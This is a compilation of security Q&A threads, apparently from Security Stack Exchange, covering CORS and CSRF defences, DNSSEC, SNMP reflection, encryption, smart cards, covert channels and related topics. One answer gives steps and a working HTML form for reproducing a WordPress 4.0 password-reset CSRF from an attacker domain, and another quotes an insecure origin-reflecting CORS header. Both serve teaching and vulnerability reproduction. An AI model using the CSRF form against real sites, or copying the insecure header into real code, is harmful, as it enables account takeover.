Thereby that if http://example.com is "logged into" the API, it doesn't mean that http://some-other-website.com is (or further when requesting using cURL).

I know this is far fetched, as the "solution" would be to check the origin header, but that can be spoofed.

The Same Origin Policy would normally prevent your scenario from taking place:

GET http://api.example.com/me/token/generate
// parse the response

The response cannot be parsed through a third party domain making requests to your domain. The browser will normally block it due to the SOP.

I say normally because you have also added the following response header to relax the Same Origin rules:

header("Access-Control-Allow-Origin: " . $_SERVER["HTTP_ORIGIN"]);

Under the following misconception:

  The reason I "need" that is that, I'm not only using the REST API on
  the domain itself through forms and JavaScript. But I'm doing requests
  using cURL in C++.

This header does not have any bearing on cURL. The header is parsed by browsers only, implementing the SOP. It does nothing to prevent direct requests coming for a web client.

Solution

On your api.example.com domain, only allow the front-end to make requests through it using the user's browser:

Access-Control-Allow-Origin: example.com

On your example.com site, send the following header with all API AJAX requests:

X-Requested-With: XMLHttpRequest

See this answer for info on this. In a nutshell, this header cannot be sent cross domain without CORS being enabled.

Verify on your API backend that this header is present when a request is received. If it is not then it is an CSRF attack.

On your server-side requests using cURL, simply add the header manually. e.g.

X-Requested-With: cURL

As you're verifying that it is present, these requests will succeed.

Finally, add some authentication using cookies. Your logged in website users should have an authentication ticket that can be sent in a cookie, and you should have one for your backend cURL requests to use. This will ensure that nobody can use your API without permission. You may want to restrict the actions that web users can make using authorisation levels because otherwise they may try to maliciously execute a function that only your cURL server tool should do.


If DNSSEC is so useful, why is its deployment non-existent for top domains? I've read several papers on DNSSEC, and it appears that it does prevent many attack classes, and the only two possible downsides is that its deployment is hard (DNSSEC is complex), and that you can walk DNSSEC records and find out all records in your domain. Also, not all TLDs support DNSSEC.

I tried all .com domains in Alexa's top sites list (first two pages), and only paypal.com on the second page has DNSSEC records. That's out of more than 30 top .com domains...

Surely sites like Gmail, Ebay, Amazon can benefit from extra security offered by DNSSEC. Since not one of them actually deployed DNSSEC, I must conclude they know something bad about DNSSEC that overweights the benefits offered by it. What that could be?

It is actually unclear whether DNSSEC is "what we want".

Right now, the certification of Web site, i.e. how a Web browser makes sure that it talks to the right site (when doing HTTPS) is done with digital certificates emitted from about a hundred of Root Certification Authorities. The root CA are entities who decided to go into the certificate issuance business, and what makes the hundred-or-so special is that they made a deal with Microsoft/Apple/Mozilla/Google so as to include their public key in the "trusted" store of every browser (or operating system). The deal includes a lot of legalistic gizmos and insurances.

Though often criticized for its opacity, public cost of individual certificates, and a few well-publicized blunders (lookup "Comodo" and "DigiNotar"), the PKI system tends to work, in an economic sense: commercial sites use them, and the CA are very rarely attacked (most attacks are about inducing the gullible user into ignoring the scary warnings that the browser emits when it finds something fishy with the certificates, rather than going to the trouble of subverting an existing CA). There is then relatively little incentive to change things (that is, there are a lot of people who would prefer another system for a variety of reasons, but, ultimately, these things are decided by those who pay for it).

DNSSEC is about taking these root CA out of the loop, and instead give the certification power to the people who maintain the DNS (the mapping from server names to IP addresses), in such a way that the two structures would be bound together: domain name inheritance (with the notion of "sub-domain") would be merged with PKI inheritance (with the notion of "intermediate CA").

It is unclear whether the new tenants would be more competent at the CA business than the previous; as I said, the actual system works already quite well, and certification is not the same craft as mapping names to addresses. It is also unclear whether such concentration of powers is really a good thing. For the big players, it would not change anything: Verisign-the-CA and Verisign-the-registrar are both Verisign.

On the technical side of things, DNSSEC offers easy distribution of certificates (aka "signed bindings of identities to public keys") through the DNS system, but that's not a problem which needed to be solved: right now, any SSL/TLS server happily sends his certificate chain as part of the initial handshake, and it works well.

Thus, given the uncertainties about the goodness of DNSSEC, and the lack of flagrant issues with the existing PKI, it is no wonder that deployment is deemed non-urgent by the big companies. Let's get IPv6 working first.

As indicated by the comments below, DNSSEC has some value as itself for authenticating DNS information, which blocks DNS poisoning. DNS poisoning is the easy way to do a Man-in-the-Middle attack, but it would be wrong to believe that this solves MiTM issues; it just makes things a bit harder for the attacker (e.g. the attacker must use a WiFI-pineapple instead of simply abusing a hole in an existing WiFi hotspot). Getting guarantees about the mapping of a name to a given IP address does not get you far if you cannot know whether a given packet really comes from the IP address which is written in its header.

Either way, it does not provide much added value to the big servers, and that's sufficient to explain their reluctance.

(DNSSEC has military value, though: by preventing DNS poisoning, it helps in defending against big denial-of-service attacks that could be part of some global electronic warfare. I expect DNSSEC to be supported by governments, not by big companies -- but the days or ARPANET are long gone, and the Internet is the territory of private ventures nowadays.)


No. There is no mechanism in SNMP protocol to identify the source program.
If SNMP string is not set to default public then only it helps that a certain program/source can make a request. In your case you have public default string.

Read about SNMP Reflection attack, source IP in the UDP packet is a spoofed address of the target, SNMP response packets get sent back to the target instead of the attacker to cause DoS.


Why aren't ransomware deployers arrested? Why aren't people who use ransomware to extort money from people arrested?

Using ransomware is illegal, presumably.
The idea that Bitcoin is anonymous is a myth.

Given this, it seems like they should be arrested. Is there a reason they aren't?

For the same reason for which other kinds of hackers aren't arrested. They may be trackable by the transactions. Unless they have a good system of money laundering. In addition there's usually the problem with international jurisdiction, etc, etc.

The bitcoin transactions may be run via hacked accounts and/or may be run over multiple accounts that are distributed over the world. There are thousands of ways to make money-streams (partially) untrackable. Bitcoin might only be a single station in the path of the money, till it finally reaches the distributor of the ransomware. This may be of interest, regarding the topic of money-laundering, as it (probably) describes a real-world case.

Next point:
It's just like with any other new field of illegal activity: arrest one person, two others pop up and take the place. The resources of police are restricted, the number of developers too high, etc... There actually are cases, where ransomware-devs are arrested (see Lukas's answer), but it's pretty tricky due to the points mentioned above and the number of ransomware software in the wild isn't likely to decrease, as long as there's no proper protection against it. As long as it's lucrative, there'll always be people who do it.

As @alexw already pointed out in his comment, the best way to protect yourself would be to regularly backup your data to an air-gapped system. The reason why ransomware still works is closely linked to the main-problem with this solution: it requires a user with a minimum of education on this topic, which is not the case with the average user.


How are Intel/Amd Microcode Issues Delivered? Is it possible to block them? After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these updates if one was paranoid about Putin switching to typewriters to avoid inherent computer security flaws? If I am using Linux, is it possible I am safe because I am not receiving Windows updates? I would think that someone would notice a connection from their computer to intel or an attackers server, at some point.

From what I have read, the consensus around the security community is that these attacks are not very feasible. But I am still curious as to how these updates are issued, and what type of transmission protocol is used. In order for this to be possible, the computer would have to request the connection to get through a properly configured firewall, regardless of whether the backdoor exists purely in the processor itself, and not the operating system.

Is it possible to block these updates altogether, if one was very paranoid?

Answers to your questions, one by one:

How are the microcode update files published?

They are simple, rather small, files, published by the processor makers.

How are they loaded into the CPU?

Your processor comes with an initial version, that it boots up with.
Your processor has a sequence of instructions to initiate a microcode upload.
The BIOS/UEFI of your system may have a newer version, that it will load into the processor before your boot-loader gets control.
The operating system may have an even newer version. If so, it will load it into the processor during system start.

How are new versions normally transferred into your computer:

If the BIOS gets updated by you, it could contain a newer version.
Your operating system may be setup for receiving microcode update through system update. (All current ones can)
If somebody nice from Intel gives you the encryption key for their microcode, you could encrypt/sign a modified version, place it on your hard-drive, and load it with some instructions.
If somebody else can run processes on your system with System/root rights (e.g. Virus, Trojan), they can even do it for/to you.

How could somebody apply such an update without me knowing?

These days, BIOS/UEFI implementations are entire operating systems in themselves, with all modern features, networking, usb, graphics, ... support.
Most network cards runs an entire, independent Operating System too.
Aside from bugs, which you can bet there are, these firmwares all have (partly) documented remote communication protocols.
Somebody exploiting a bug in your NIC, or using the magic_key/protocol, could send a correctly signed microcode update to your CPU.

How feasible is this type of attack?

For somebody with authority over the key-holders: Very easy.
For the savvy neighbor kid: impossible


Why Parallels 8 installer looking into my Chrome's Cookies? While trying to install Parallels on OS X I looked into Activity Monitor to find where is the installed Parallels located (it was weird that it stays invisible in Application folder). And than I found this:

So Parallels installer opened a Chrome's Cookies file.

I googled for this but no information found.

It is a "little bit" strange to see one app is going looking into my cookies while install.
I repeated the installation process to see at which moment it opens the Cookies file. So it was right after authorization of the Installer with the user password.

Any Ideas? Spyware? Installer is downloaded from the official page.

Parallels Desktop is a closed-source application, so the community isn't going to be able to help you out much here other than offering rumor and conjecture.

Your best bet is to contact Parallels to see if you can get them to explain themselves.


Can the FBI or government agencies decrypt my hardrive and/or force me to give them the password? I have seen other TrueCrypt questions as well "Windows encryption with BitLocker" and "Mac OSX encryption with FileVault".

Does the FBI/NSA or other government agencies have access to my data or can easily decrypt them?
If they can't, can they force me to give them my password?
If 1 or 2 is true, it seems like that by encrypting my hard drive I am only protecting myself against a regular thief. Is there a better way to protect my data?

The Electronic Frontier Foundation maintains an excellent FAQ on digital rights regarding search and seizure of computing devices. For your specific questions: (I'm going to assume US, because you reference FBI and NSA)

1. Can government agencies break disk encryption?

Without a warrant or probable cause, no. With a warrant, if your question is: "Can the encryption implemented by e.g., TrueCrypt be broken?" then the answer is that the TrueCrypt is believed to be secure. These things are difficult to prove, but for all intents and purposes, TrueCrypt is itself a secure system.

2. Can they force me to give them my password?

In the US, the 5th Amendment to the Constitution protects individuals from self-incrimination. A password to a computer containing incriminating information is treated as testimony so generally, no, they cannot force you to hand over a password. (Note that in the UK, this is not true - you can be jailed for refusing.) Per the linked EFF page, there are some exceptions (I believe that refusing to cooperate in an ongoing hostage negotiation can land you with an obstruction charge, but I Am Not A Lawyer), so this is one where you should contact an attorney.

3. Am I only protecting myself against a regular thief?

Per my answers above no, you are in fact protecting yourself, to at least some degree, against a law enforcement investigation.

In any case, "a regular thief" is generally a much more relevant threat actor than your  legal system.


Masking traffic in another protocol I remember reading a couple of years ago (I believe it was during the Egyptian Revolution) that hackers managed to bypass government filters by making their traffic appear as another protocol. If memory serves me right they were masking their "forbidden" content and making it appear as online video game traffic (which supposedly wasn't filtered at the ISP level).

Is there a name for this practice? Are there resources I can read about it?

I'm considering doing this as my next semester's project but I'm unable to find much resources about it on the net, probably because I don't know what it would be called.

I guess it's some form of steganography?

Sending one type of network traffic over another protocol is called network tunneling or covert channeling. This is quite easy to do, and with some experience, you can send plaintext data over port 443 (to make it appear encrypted to the untrained eye) or send IM messaging traffic over port 80...the opportunities are endless.

The method of sending data over a covert channel is not encrypting the data, but avoiding detection that the data is being sent in the first place.

Here are some resources for you to read up on covert channeling as well as a couple of programs that can help you do this.

Resources

SANS Covert Channels article: Really awesome and contains lots of detailed info:
http://www.sans.org/reading-room/whitepapers/detection/covert-channels-33413
InfoSec Institute article: Some hands on examples using Kali Linux:
http://resources.infosecinstitute.com/creating-covert-channels/

Tools

6 packet crafting tools from sectools.org:
http://sectools.org/tag/packet-crafters/


Can someone debit cash from my debit card just with an ATR Number? So basically I had a debit card, a built-in smart card reader in my laptop and some money in my account. What I did was, I plugged my debit card in my laptop's smart card reader, I copied the ATR number and (for some complex but foolish reason) shouted my ATR over the Internet.

Can I really be charged by someone knowing my ATR from another country? Or is it just not possible with an ATR?

The ATR is a value output by a smartcard on power-on to tell the reader which communication protocol it supports. Some OSes like Windows also use this value to tell which driver or software to use to handle the card.

The ATR doesn't contain anything confidential and is often the same across a series of cards - there are even databases of known ATRs online. The ATR doesn't contain any information related to the financial aspect of the card.


Hashing Passphrase in Client-Side JavaScript Rather than Server-Side -- Is it Viable? The oft-mentioned approach for website password-handling is to use a server-side language to employ a suitable hashing algorithm (stretched or otherwise designed to overly-consume computing resources), combine with a randomised salt, and voila: a safely stored password. I'm over-simplifying, of course.
Whilst this stops stolen database tables from containing potentially-reused passphrases, it still means the password has to be delivered to the server to be hashed, the result of which being compared to the stored hash. SSL secures this during transportation, naturally, but there's still a window of the plaintext passphrase existing for the hashing to be done.
What if the hashing took place on the client-side? The user would still be using a passphrase that doesn't match the stored end-result, and a tech-savvy individual bypassing the JavaScript and sending a hash directly wouldn't achieve anything. Furthermore, server-side hashing could be implemented for clients lacking JavaScript. By doing this, server-load is reduced and a covertly-comprimised server still wouldn't get any passwords as the site continued running.
TL;DR: The only issue I can see is that the client's randomisation for the salt could not be trusted. Is this the only reason this approach isn't more widely recommended?

Password hashing must be applied to cope with the inherent weakness of passwords, i.e. the low entropy. Whether the hashing occurs on the client or the server does not matter much for security, as long as it occurs somewhere between the human and the storage. Since good password hashing uses a salt, stored server-side, client-side hashing usually incurs an additional round-trip (client sends the user name, server sends back the corresponding salt, client hashes the password and sends the result). Also, since what the client sends is password equivalent (showing it grants access), and you don't want to store password-equivalent values "as is" in your database, you still need to do some hashing on the server -- but that one can be a simple, unsalted, uniterated hash.

Password hashing with Javascript can be a problem, though: password hashing is an arms race between the defender and the attacker. The password hashing function is made deliberately slow in order to make exhaustive search expensive; but this makes usage expensive for everybody. If the hashing is done in Javascript, then it will happen at Javascript speed, i.e. not very fast. Correspondingly, you won't be able to crank up the iteration count as high as you would like, compared to the situation where hashing occurs on the server.

The above is the generic answer, but details may vary. Javascript interpreters tend to become faster over time. More importantly, a given server may have to handle many clients simultaneously, while each client only has to worry about itself. If the server must handle 100 clients per second and still keep authentication time within one second, then it cannot allocate more than 10ms worth of its CPU per password instance; whereas with client-side hashing, the client can use one full second for it, which might be enough to more-than-compensate the slowness of Javascript.

100 clients per second is a high figure, and though some Javascript clients appear to be quite fast, there also are clients out there which are not (e.g. people with old smartphones -- my own smartphone runs Android 2.2, and the Javascript interpreter in its browser is not a race champion). For this reason, right now, it seems that client-side password hashing with Javascript is not (yet) a winning idea. This may change in the future, or in some specific situations. For instance, client-side hashing has the benefit of much improving the server resistance to some DoS attacks; if resistance to DoS is deemed more important than mobile phone user experience, then client-side hashing is the way to go.

For a general introduction to password hashing, including client-side vs server-side concepts, see this answer.


How do we handle PDF securely from External to an Internal Network without having to deal with giving away the PDF's? We have a requirement to handle PDF's by external entities & these PDF's go to our internal network. The internal network from this view-point isn't obviously totally isolated.

We thought to use the VirusTotal API after initial research & get these docs scanned before having them go towards the internal network. Virus total is a service and we will end up sending our documents to an external org i.e. VirusTotal & that's something the stakeholders do not approve of.

Things we are looking for as a medium scale company requirement:

At this point we cannot afford an enterprise solution. We have tried opensource solutions; however these solutions fail at detecting malware which is crafted & isn't always reliable.
A set of instruction to have a middle-man solution where-by the docs need not be sent to an external org & at the same time, the solution should be able to detect threats efficiently.

How do we handle the threat as threat surface is the requirement functionality & as tested by our malware team that many PDF's could be having embedded malware which if executed can open up a back connection to unknown hosts? IPtables, firewalls etc are fine .. but if it however doesn't connects to any system & instead does malicious activities such as delete sys files, etc .. that would be another problem.

Edit 1: As per comments, one raised questions were, where did the PDF get channelized from. It's evident from the OP itself that the link is TCP/IP connection via an upload functionality which is then taken to an internal server (pseduo-internal, as it has one external opening access).

The easiest way to deal with probably malicious PDF containing active content is to convert them into a format where active content is not possible. This might be printing and scanning, converting to an image or converting to postscript - the last one probably preserves most of the content but not the active content. Note that converting is best done within a secured environment (VM, sandbox...) so that the conversation itself does not result in compromise. There are several tools which you can do such conversation, including the free ghostscript.

Of course this way every active content is removed. This might be a problem in your environment with unknown requirements if you need to deal with PDF based forms etc.


What is the state of smart card/computer interoperability Smart cards are the only really secure device that can be used for, among other things, electronic identification. However, there are usability concerns stemming from the lack of standartization.

Usually, in order to use a smartcard, the user has to install some (proprietary) middleware. In order to use that in a browser then, one needs even more specific things (ActiveX, Java apllets). Because of that usability drops significantly. For example, the Estonian solution requires installing browser add-ons and pkcs11 module(s) in order to enable communication with their national id cards.

I've read a lot, but honestly, I'm a bit lost. So I'd like to ask for clarification on multiple aspects (standards and projects). What part of the whole flow do these cover, what is their status, how widely adopted they are, etc:

ISO/IEC 24727
ISO 7816-4
PKCS#11
PKCS#15
open eCard
openSC
opencard

And another question - do you think there will be a way, in the near future, for a standard-implementing smart-card to be used in a standard-implementing browsers on a standard-implementing OS without the need to install anything?

From your question it looks like you ask for PKI smart cards only, so I will skip other types of smart cards.

Some theory first. Computers talk to all smart cards using APDU commands. They are really low level interface and are mostly different for all cards. There are practical and political reasons for this. Practical reason is that every card can have specific functionality that is hard to standardize. Political reason is that smart card vendor do not want clients to be able to easily change cards with cheaper one from other manufacturer. But for smart card to be usable, there must be standard API. So every vendor provides middleware that exports standard APIs (PKCS#11, CryptoAPI, TokenD) and translates this high level function calls to series of APDU commands. As this is not so easy task, all proprietary middlewares have bugs. There was many attempts for unified smart card interface or specification, but all of them failed, because vendors continued to create and sell proprietary cards.

As for standards/projects:

ISO/IEC 24727 - I did not have personal experience with this standard, but it looks like another failed attempt for API standardization. As all of them it has very limited adoption. I think only Giesecke & Devrient created cards that implements it.
ISO 7816-4 - This standard defines low level commands for some card operations like select file and read binary, but it do not cover more usable commands like signing or key generation.
PKCS#11 - From Wikipedia - The PKCS #11 standard defines a platform-independent API to cryptographic tokens. There are many applications that can use PKCS#11 interface and is only smart card interface that Mozilla supports, so every PKI smart card has middleware that implements it. Usually not all functions are implemented and some are implemented in not standard way. It looks like middleware vendors test their implementation only with Firefox, and there is no guarantee that other PKCS#11 applications will work correctly.
PKCS#15 - Another attempt to fix proprietary middleware problem. I have never used it and AFAIK there is no major software that uses it.
open eCard - it do not mater as no card implement it.
OpenSC - this is open source middleware for many different cards. Some companies have written and actively support OpenSC drivers for their cards, some card drivers are written based on public specification and some are reverse engineered. Most of cards with public specification are national eID cards like IAS-ECC or US PIV card. Some small companies like Aventra are published their APDU commands too.

About smart card use in browsers - all major browsers can use certificates stored on smart card for SSL client authentication.

ActiveX, Java applets or browser extensions are used for legally binding signatures, as no browser has integrated support for them. There was some attempts to add needed functionality to WebCryptoAPI, but it looks like browser vendors are against it. You can read this discussion for details - http://lists.w3.org/Archives/Public/public-webcrypto-comments/2015Jun/. So I do not believe that signing document in browser without additional plugins or add-ons will be possible in near future.

Edit:

For TLS clientAuth to work with smart card, without additional installation, operating system or browser must include smart card middleware.

I think that Windows comes with some smart card middleware preinstalled, but many different cards have their middleware in windows update, and it is installed automatically when card is plugged in. This way client authentication will work with all modern browsers except Firefox. As Firefox do not use standard Windows crypto interface (CryptoAPI) it needs additional installation or at least manual configuration.

Older versions of OS X also included support for some cards, but it was removed after 10.6.


Websites that can connect with Gmail I'm currently job searching, and came across a site that knows when I'm signed into G-mail. A quick look at the login page shows that I can use my Gmail account to login.

Looking at the Google API, it seems they do provide away to access a users inbox with certain examples shown here.

Is there a way to check if these methods and capabilities have been implemented, and if so, how can I minimize the access to my account?

I'm aware I can create an original account on the site, separate from my Gmail account.

You're perhaps conflating GMail API and Google Auth (which is used by GMail).

The site cannot see whether you're logged in or not (it can be worked out with a bit of trouble), and cannot access your email address, much less your inbox.

You can give Google permission to give the site information about your Google login. At that point the site'll know your email address (but still be unable to access your inbox).


How are ciphers related to cryptographic algorithms like DES or AES? It looks like I am having a terminology issue here. In cryptography, we have stream ciphers and block ciphers. I understand their difference. We also have cryptographic algorithms like AES (Rijndael).

My confusion point is how do cryptographic algorithms and ciphers connect to each other. Fundamentally they look like they are doing similar stuff (encrypting and decrypting).

Is AES etc a "special case" of a block cipher? Is block cipher a family of algorithms that one of them is AES?

A cryptographic algorithm can be any specific mathematical description (the algorithm) related to cryptography. There are specific types of algorithms such as hash algorithms, block ciphers, stream ciphers, signature algorithms, pseudo-random number generators etc.

Cryptographic algorithms may be used to perform encryption / decryption. In that case the algorithm would be called a cipher. This could be a stream cipher, a block cipher or an asymmetric cipher such as RSA. The block cipher generally has to be used in a mode of operation to be secure, i.e. to comply with the properties we normally associate with a full cipher. Modes of operation include CBC mode and GCM mode.

AES is a block cipher and yes, it is certainly in the family of block ciphers. It is special in the sense that it has been standardized by NIST as the main cipher to use in the US, succeeding DES. It's original name is Rijndael after the authors, Vincent Rijmen and Joan Daemen (although AES only uses a specific subset of the Rijndael specification).

Rijndael became the Advanced Encryption Standard after it won the AES competition; if another cipher had won then that cipher would have become AES - and there were algorithms such as Serpent that would have be considered more secure. Rijndael is however also rather efficient to implement in both hardware and software - at least compared to the other algorithms in the competition, at that time.

Note that block ciphers are not just used for encryption / decryption. Like hash algorithms they are often used as primitive to build other functions. Block ciphers can for instance be used to build modes of authentication. Examples are AES-CMAC, AES-GMAC and AES in Poly1305. This is an advantage they have over stream ciphers, which are more limited: block ciphers are (keyed) Pseudo Random Permutations that have specific properties required by such schemes.

Stream ciphers are generally rather efficient in software. However, they also often require a larger state (more memory). You can use a block cipher in a stream mode of operation such as counter (CTR) mode, the underlying mode used by AES-GCM and many other authenticated modes of encryption. That way they have similar properties as stream ciphers, such as being able to encrypt each byte separately (and therefore they don't need a padding mode of operation).


Wordpress 4.0 CSRF Password Reset I am working on a faculty project. I need to replicate Wordpress CSRF vulnerability on my localhost wordpress. I am trying to do this: https://wpvulndb.com/vulnerabilities/7691
  I couldn't find any useful tutorials. I am thinking about using a Metasploit moduleon Kali Linux. Can someone guide me ?

A Wordpress user can  go to this URL and request a password reset link via email:

https://yourwordpress.example/wp-login.php?action=lostpassword

The reset link will look similar to this:

https://yourwordpress.example/wp-login.php?action=rp&key=dDnnToiqjYtsa9KdfVZl&login=admin

The key parameter in the URL ensures that only the reciever of the email is able to reset the password. After visiting the reset link you will be presented with a form to enter the new password.

Prior to Wordpress 4.0.1, this form didn't supply an anti-CSRF token. Instead, the key GET parameter is saved into a cookie and after submitting the new password the cookie value is verified.
This means that a user is vulnerable in the time between clicking on the password reset link and entering the new password. In that timeframe, and only then, an attacker could potentially launch a CSRF attack to change the password to an arbitrary value. (But because of this small window of opportunity the bug has limited value in a real-life attack.)

So to reproduce the vulnerability, you could do this:

Request a password reset link. (e.g. for user admin)
Visit the reset link (but don't enter a new password).
Simulate a CSRF attack by submitting this form from an attacker-controlled domain with an arbitrary password:

<form action="https://yourwordpress.example/wp-login.php?action=resetpass" method="post">
    <input type="hidden" name="user_login" value="admin">
    <input type="password" name="pass1">
    <input type="password" name="pass2">
    <input type="submit" name="wp-submit" value="Reset Password">
</form>

The issue was fixed by adding the reset token to the form (in addition to the cookie):

<input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />

And the reset attempt is invalidated when rp_key doesn't match:

if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
    $user = false;
}


With what permissions does the Android lock screen operate? How does Android handle applications like MP3 player apps that run when the screen is locked (i.e. the user has to input their pin)?

Obviously Android doesn't just let applications like music players run as root, as I have faith that the Android community understands the principle of least privilege. So how is this behavior implemented?

EDIT:

I apologize as my original question was too broad. Perhaps the better question here is "With what permissions does the Android lock screen operate?"

Android has an API for music players. Those buttons you see? They're universal, and when they are pressed, they tell the app currently playing music to change/stop/pause/play the track, but Android displays them on the lock screen, not the apps themselves.

Your analogy is incorrect. Sticky keys is an application, these buttons are not separate from the operating system. Also, Windows and Android are two very different things.

Also, widgets exist for android lockscreens on many devices, and these do not require root...


why Common Criteria evaluation wont give 100% security To understand Common Criteria in better way, could someone tell if system has passed a CC evaluation ie. EAL4, what can we say about the security of this system?

First, there is no such thing as 100% security in the first place. There are only ways one can try to achieve the best security for a specific cost and then one needs to be able to handle the remaining risk (or ignore it if it is too unlikely).

Apart from that certifications like Common Criteria only cover a specific part of the system, i.e. the target of evaluation. For example with the recent ROCA vulnerability in smartcard chips the product had a very high certification (EAL7) but the specific part of how prime numbers were selected during key generation was not evaluated.

And then, software is complex. And the more complex it is, the harder (i.e. impossible) it is to completely describe what it should do and to create tests which cover every detail and variation and combination of this functionality. And then the auditors need also be able and have the time to understand everything, check everything and not make errors or wrong assumptions themselves.
For example at EAL7 (Evaluation Assurance Level 7) formal verification is required which is practically impossible to do with complex systems like firewalls (where you currently get at most EAL4+). And even the first EAL4 evaluation of a product often takes years to complete, in which time usually new features were added to the product already and bugs were fixed - which are not covered by the evaluation but which are needed by the customers.

  ... if system has passed a CC evaluation ie. EAL4, what can we say about the security of this system?

Certification is a best effort but not perfect. It is still way better then no certification and higher assurance levels are better than lower ones since more efforts were done to validate design, functionality, development process etc, i.e. more potential problems are covered.
So, higher level means more assurance and less bugs. But not necessarily in the whole product but only in the part which got evaluated. Thus you need to get the actual evaluation report to find out what is covered by the evaluation and which parts in which depth.


how to block pop up with iptables Although I have enabled the pop up blocker in firefox, there are many websites that are able to circumvent this feature. (for example movie streaming sites like kinox.to). My question is not really about how I can install some new pop up blocker, but to learn how this works. I'm currently digging into iptables, NAT etc and I wonder how for example kinox.to (IP: 104.28.20.67) is able to launch a pop up window from meinkino.to (IP: 104.31.218.57).

Is it possible to configure iptables in a way that such incoming connections are blocked? And why can a different website initiate a connection from the outside of my NAT device? I thought this can't happen (for example in skype you need a rendezvous server, so you can initiate a connection to someone behind a NAT.

Is it possible to configure iptables in a way that such incoming connections are blocked?

When browsing the web there are no incoming connections. All connections originate locally at the browser which requests a response from a specific web server. And the HTML/script in the response then causes the popup to display. Thus any attempts to block popups must either block the browser from issuing a request to the specific site, block the request issued by the browser to reach the site or make sure that the browser does not execute the HTML/script causing the popup.

The last way, i.e. not executing the popup, is done by the code inside the browser, which usually limits the number of popups within a time and tries to make sure that a popup is somehow related to a specific action by the user, i.e. useful popups showing that the entered value is invalid or similar. But these heuristics can be tricked and thus you see unwanted popups.

Therefore it might be a better way to restrict access to sites which serve the code causing the popups. Unwanted popups are usually part of advertisement and thus an ad-blocker extension in the browser might help.

But, you've asked if this can be done with iptables. Since iptables is a packet filter only it can only filter access by IP address, port, protocol and similar meta data. Especially it is impossible to use iptables to  analyze the content of the servers response and find out if it contains popup code and maybe remove this code. Thus your only option with iptables is to block access to the site causing the popup by IP address, which means that you have to get the IP address first somehow. This might be possible in some cases since the IP addresses of advertising networks usually don't change that often.  But note that sometimes a specific IP address is not only used to serve the unwanted popup but also content you actually want to access or content which is needed for properly displaying a site. Thus simply blocking access to an IP address will cause unwanted side effects in some occasions.

This makes iptables an inadequate tool for the problem you want to solve, i.e. it will work in some cases but fail in others and cause unwanted side effects. You better use a tool which works at a higher level, like an ad-blocking extension in the browser.


Signing my certificate by using my smart card and eID card? In Belgium we have electronic identity cards (eID) issued by our government. They can be read by a smart card reader. On the card are two certificates, one for signing and one for authentication.

I want to distribute my public key. Can I use my eID to sign my certificate so to let users know that it really is my public key? Will this be a secure and accepted way?

Thanks for your thoughts and help.

Your eID uses an X509 certificate signed by a CA controlled by your government. That CA is the root of your trust chain. This means that they are the one guaranteeing that they issued that certificate to you as an individual.

Signing your own public key would not provide any additional information since it's in the same trust chain.

It can even be dangerous: for instance, if you generate a PGP key and sign the public key with your personal certificate, it fails to prove that you have any access to the private part of the same key. All it proves is that, at some point, you (and you alone) claimed to own the corresponding private key. It is roughly similar to signing a photocopy of a passport: it doesn't tell the recipient that the document is an original or that you have any access to it, just that you claimed to have it and, without a trusted 3rd party authenticating that claim in a different way, it's useless.


Locking down Windows 7 and only allowing outbound calls on 80/443 I need to harden a windows 7 PC running in a kiosk type device.

Basically the hardware on the PC only needs to make outbount HTTP requests and communicate with some peripherals over USB(COM ports).

Can someone provide an easy way to accomplish this quickly and effectively or point me to some resources with a complete list of the steps to take and ports to block

Have a read of the answers on the Security Stack Exchange question on Attacking Kiosks.

Configuring your outbound firewall is a very small part of the story - to help dissuade attackers there are a much wider range of security controls you need to think about:

eg. will someone actually steal the hardware, can they plug in a USB or other device


What would you call an attack where authenticated user modifies other users information on web app? Authenticated user on web app, using other people's id to update or change their information. So basically the web app is not checking for person who is logged in against the person who he/she is updating the information. Is there specific name for this type of attack?

...sounds to me like Improper Access Control.

From CWE-284:

  Description Summary The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

  Extended Description Access control involves the use of several protection mechanisms such as authentication (proving the identity of
  an actor) authorization (ensuring that a given actor can access a
  resource), and accountability (tracking of activities that were
  performed). When any mechanism is not applied or otherwise fails,
  attackers can compromise the security of the software by gaining
  privileges, reading sensitive information, executing commands, evading
  detection, etc. There are two distinct behaviors that can introduce
  access control weaknesses:

  Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for
  example, setting a password file to be world-writable, or giving
  administrator capabilities to a guest user). This action could be
  performed by the program or the administrator.
  Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g.,
  allowing the user to specify their own privileges, or allowing a
  syntactically-incorrect ACL to produce insecure settings). This
  problem occurs within the program itself, in that it does not actually
  enforce the intended security policy that the administrator specifies.

However, you don't mention how the actor is carrying out their attack - so I can only guess they are using GET parameter manipulation to impersonate another user.

In this case the actual attack would be "Parameter Manipulation" or "Parameter Tampering".


Incorrect use of HTTPS? When I open https://java.com my browser says “untrusted connection” but when I open https://www.java.com my browser says it’s ok. But it's the same site.

So my question is: Is this a security bug? It's like having self-signed certs? Several domains struggle with correct HTTPS settings regarding having the "www" prefix or not.

Have a look at the actual error message:

  Certificate is only valid for www.java.com.

It is a server misconfiguration. But in this case this is not a direct security issue because both domains belong to the same company. (It is an indirect one because it teaches people to ignore this kind of error message).

Background

What happens here is this:

You told your browser to visit java.com
But the server answered: I am www.java.com (without aliases) and here is my certificate to prove that.

But your browser does not want to talk to www.java.com, it was told to connect to java.com.

If both domains are not under the control of the same people, this is an issue (think of <something>.dyndns.org):

The connection is encrypted just fine, but you had a secured connection to the attacker. The attacker would then read and possible modify it before passing it on to the real server. When the attacker gets the answer, he can again read and modify it, before he sends it to you. This is called a Man in the middle attack.

Therefore this warning is important in the general case.

What to do?

To be on the safe side you should do this: Look at the domain in the error message. If it is likly that the domain is a valid destination for where you wanted to go (e. g. added or missing "www"), type that domain into the address bar. Do not copy it because some special character may look like valid characters, so you could end up elsewhere on a phishing side.


How can I prevent someone from accessing a Windows XP system via boot disk? Apparently a computer system protected by a a login password, e.g. Windows XP, can be easily hacked by someone with physical access to it using methods like this one:

http://www.raymond.cc/blog/archives/2006/09/02/how-to-hack-into-a-windows-xp-computer-without-changing-password/

Can anyone inform me how to mitigate against this type of attack?

Thanks!

The real issue here is that the attacker only needs physical access to your hard drive in order to read or manipulate the files which contain your password hashes.  There is already a thread on SuperUser which has some recommendations, which I will likely repeat here.

How to secure my Windows 7 PC?

